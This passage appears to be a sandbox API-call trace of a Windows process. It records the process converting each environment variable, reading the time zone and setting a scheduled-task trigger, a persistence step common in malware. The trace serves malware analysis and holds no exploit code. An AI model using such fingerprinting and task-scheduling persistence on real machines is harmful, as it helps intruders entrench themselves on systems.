lpMultiByteStr="NUMBER_OF_PROCESSORS=1", lpUsedDefaultChar=0x0) returned 23 [0049.292] GetLastError () returned 0x0 [0049.292] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x32f4d98) returned 0x34 [0049.292] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x32f4d98, Size=0x38) returned 0x32f4dd8 [0049.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0049.292] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0xe) returned 0x32b4548 [0049.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x32b4548, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OS=Windows_NT", lpUsedDefaultChar=0x0) returned 14 [0049.292] GetLastError () returned 0x0 [0049.292] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x32f4dd8) returned 0x38 [0049.292] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x32f4dd8, Size=0x3c) returned 0x32c3fc0 [0049.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 105 [0049.292] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x69) returned 0x32affc0 [0049.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x32affc0, cbMultiByte=105, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpUsedDefaultChar=0x0) returned 105 [0049.292] GetLastError () returned 0x0 [0049.292] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x32c3fc0) returned 0x3c [0049.292] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x32c3fc0, Size=0x40) returned 0x32c4008 [0049.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0049.292] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x3e) returned 0x32c3fc0 [0049.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x32c3fc0, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", lpUsedDefaultChar=0x0) returned 62 [0049.293] GetLastError () returned 0x0 [0049.293] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x32c4008) returned 0x40 [0049.293] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x32c4008, Size=0x44) returned 0x32c64e8 [0049.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0049.293] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x1b) returned 0x32c88b0 [0049.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x32c88b0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITECTURE=x86", lpUsedDefaultChar=0x0) returned 27 [0049.293] GetLastError () returned 0x0 [0049.293] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x32c64e8) returned 0x44 [0049.293] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x32c64e8, Size=0x48) returned 0x32c6538 [0049.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0049.293] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x1d) returned 0x32c8888 [0049.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x32c8888, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITEW6432=AMD64", lpUsedDefaultChar=0x0) returned 29 [0049.293] GetLastError () returned 0x0 [0049.293] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x32c6538) returned 0x48 [0049.293] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x32c6538, Size=0x4c) returned 0x32f70a0 [0049.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0049.293] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x48) returned 0x32c6538 [0049.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x32c6538, cbMultiByte=72, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", lpUsedDefaultChar=0x0) returned 72 [0049.293] GetLastError () returned 0x0 [0049.293] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x32f70a0) returned 0x4c [0049.293] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x32f70a0, Size=0x50) returned 0x32f71a8 [0049.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0049.293] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x12) returned 0x32de038 [0049.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x32de038, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_LEVEL=6", lpUsedDefaultChar=0x0) returned 18 [0049.293] GetLastError () returned 0x0 [0049.293] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x32f71a8) returned 0x50 [0049.293] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x32f71a8, Size=0x54) returned 0x32d4420 [0049.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5e03", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0049.293] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x18) returned 0x32de018 [0049.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5e03", cchWideChar=-1, lpMultiByteStr=0x32de018, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_REVISION=5e03", lpUsedDefaultChar=0x0) returned 24 [0049.293] GetLastError () returned 0x0 [0049.293] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x32d4420) returned 0x54 [0049.294] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x32d4420, Size=0x58) returned 0x32d4480 [0049.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0049.294] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x1b) returned 0x32c88d8 [0049.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x32c88d8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramData=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 27 [0049.294] GetLastError () returned 0x0 [0049.294] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x32d4480) returned 0x58 [0049.294] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x32d4480, Size=0x5c) returned 0x3236798 [0049.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0049.294] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x24) returned 0x32f6d48 [0049.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x32f6d48, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 36 [0049.294] GetLastError () returned 0x0 [0049.294] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x3236798) returned 0x5c [0049.294] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x3236798, Size=0x60) returned 0x3236868 [0049.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0049.294] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x29) returned 0x32f83c0 [0049.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x32f83c0, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles(x86)=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 41 [0049.294] GetLastError () returned 0x0 [0049.294] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x3236868) returned 0x60 [0049.294] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x3236868, Size=0x64) returned 0x31f0c18 [0049.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0049.294] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x1e) returned 0x32c8900 [0049.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x32c8900, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramW6432=C:\\Program Files", lpUsedDefaultChar=0x0) returned 30 [0049.294] GetLastError () returned 0x0 [0049.294] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x31f0c18) returned 0x64 [0049.294] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x31f0c18, Size=0x68) returned 0x31f0cf8 [0049.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0049.294] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x41) returned 0x32c64e8 [0049.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x32c64e8, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpUsedDefaultChar=0x0) returned 65 [0049.294] GetLastError () returned 0x0 [0049.294] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x31f0cf8) returned 0x68 [0049.294] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x31f0cf8, Size=0x6c) returned 0x32b0290 [0049.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0049.295] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x17) returned 0x32de058 [0049.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x32de058, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PUBLIC=C:\\Users\\Public", lpUsedDefaultChar=0x0) returned 23 [0049.295] GetLastError () returned 0x0 [0049.295] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x32b0290) returned 0x6c [0049.295] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x32b0290, Size=0x70) returned 0x32b0308 [0049.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0049.295] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0xf) returned 0x32b4590 [0049.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x32b4590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive=C:", lpUsedDefaultChar=0x0) returned 15 [0049.295] GetLastError () returned 0x0 [0049.295] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x32b0308) returned 0x70 [0049.295] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x32b0308, Size=0x74) returned 0x6c8578 [0049.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0049.295] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x16) returned 0x32de078 [0049.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x32de078, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemRoot=C:\\Windows", lpUsedDefaultChar=0x0) returned 22 [0049.295] GetLastError () returned 0x0 [0049.295] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x6c8578) returned 0x74 [0049.295] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x6c8578, Size=0x78) returned 0x6c85f8 [0049.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0049.295] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x2a) returned 0x32f8430 [0049.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x32f8430, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 42 [0049.295] GetLastError () returned 0x0 [0049.295] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x6c85f8) returned 0x78 [0049.295] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x6c85f8, Size=0x7c) returned 0x6aeca0 [0049.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0049.295] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x29) returned 0x32f8468 [0049.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x32f8468, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 41 [0049.295] GetLastError () returned 0x0 [0049.295] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x6aeca0) returned 0x7c [0049.295] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x6aeca0, Size=0x80) returned 0x6af7c8 [0049.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0049.295] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x15) returned 0x32de098 [0049.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x32de098, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERDOMAIN=XDUWTFONO", lpUsedDefaultChar=0x0) returned 21 [0049.295] GetLastError () returned 0x0 [0049.296] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x6af7c8) returned 0x80 [0049.296] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x6af7c8, Size=0x84) returned 0x6cd1f0 [0049.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0049.296] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x1e) returned 0x32c8928 [0049.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x32c8928, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERNAME=5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 30 [0049.296] GetLastError () returned 0x0 [0049.296] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x6cd1f0) returned 0x84 [0049.296] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x6cd1f0, Size=0x88) returned 0x6cd5e0 [0049.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0049.296] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x2a) returned 0x32f84a0 [0049.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x32f84a0, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 42 [0049.296] GetLastError () returned 0x0 [0049.296] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x6cd5e0) returned 0x88 [0049.296] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x6cd5e0, Size=0x8c) returned 0x32b5fa8 [0049.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0049.296] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x12) returned 0x32de0d8 [0049.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x32de0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windir=C:\\Windows", lpUsedDefaultChar=0x0) returned 18 [0049.296] GetLastError () returned 0x0 [0049.296] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x32b5fa8) returned 0x8c [0049.296] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x32b5fa8, Size=0x90) returned 0x32b5fa8 [0049.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0049.296] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x18) returned 0x32de0b8 [0049.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x32de0b8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_flags=3", lpUsedDefaultChar=0x0) returned 24 [0049.296] GetLastError () returned 0x0 [0049.296] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x32b5fa8) returned 0x90 [0049.296] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x32b5fa8, Size=0x94) returned 0x32b3a58 [0049.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0049.296] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x46) returned 0x32c6588 [0049.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x32c6588, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", lpUsedDefaultChar=0x0) returned 70 [0049.296] GetLastError () returned 0x0 [0049.296] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x32b3a58) returned 0x94 [0049.296] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x32b3a58, Size=0x98) returned 0x32b3a58 [0049.297] GetLastError () returned 0x0 [0049.297] GetTimeZoneInformation (in: lpTimeZoneInformation=0x45d3e0 | out: lpTimeZoneInformation=0x45d3e0) returned 0x1 [0049.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUS Eastern Standard Time", cchWideChar=-1, lpMultiByteStr=0x45bd20, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x18e0fc | out: lpMultiByteStr="AUS Eastern Standard Time", lpUsedDefaultChar=0x18e0fc) returned 26 [0049.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUS Eastern Daylight Time", cchWideChar=-1, lpMultiByteStr=0x45bd60, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x18e0fc | out: lpMultiByteStr="AUS Eastern Daylight Time", lpUsedDefaultChar=0x18e0fc) returned 26 [0049.304] GetLastError () returned 0x0 [0049.304] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x24) returned 0x32f6dd8 [0049.304] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x452028, cbMultiByte=-1, lpWideCharStr=0x32f6dd8, cchWideChar=18 | out: lpWideCharStr="%Y-%m-%dT%H:%M:%S") returned 18 [0049.304] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x6c6dc0 [0049.304] GetLastError () returned 0x0 [0049.304] ITrigger:put_StartBoundary (This=0x2841058, StartBoundary="2019-07-30T10:50:19") returned 0x0 [0049.304] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x32b45a8 | out: hHeap=0x5e0000) returned 1 [0049.304] HeapFree (in: 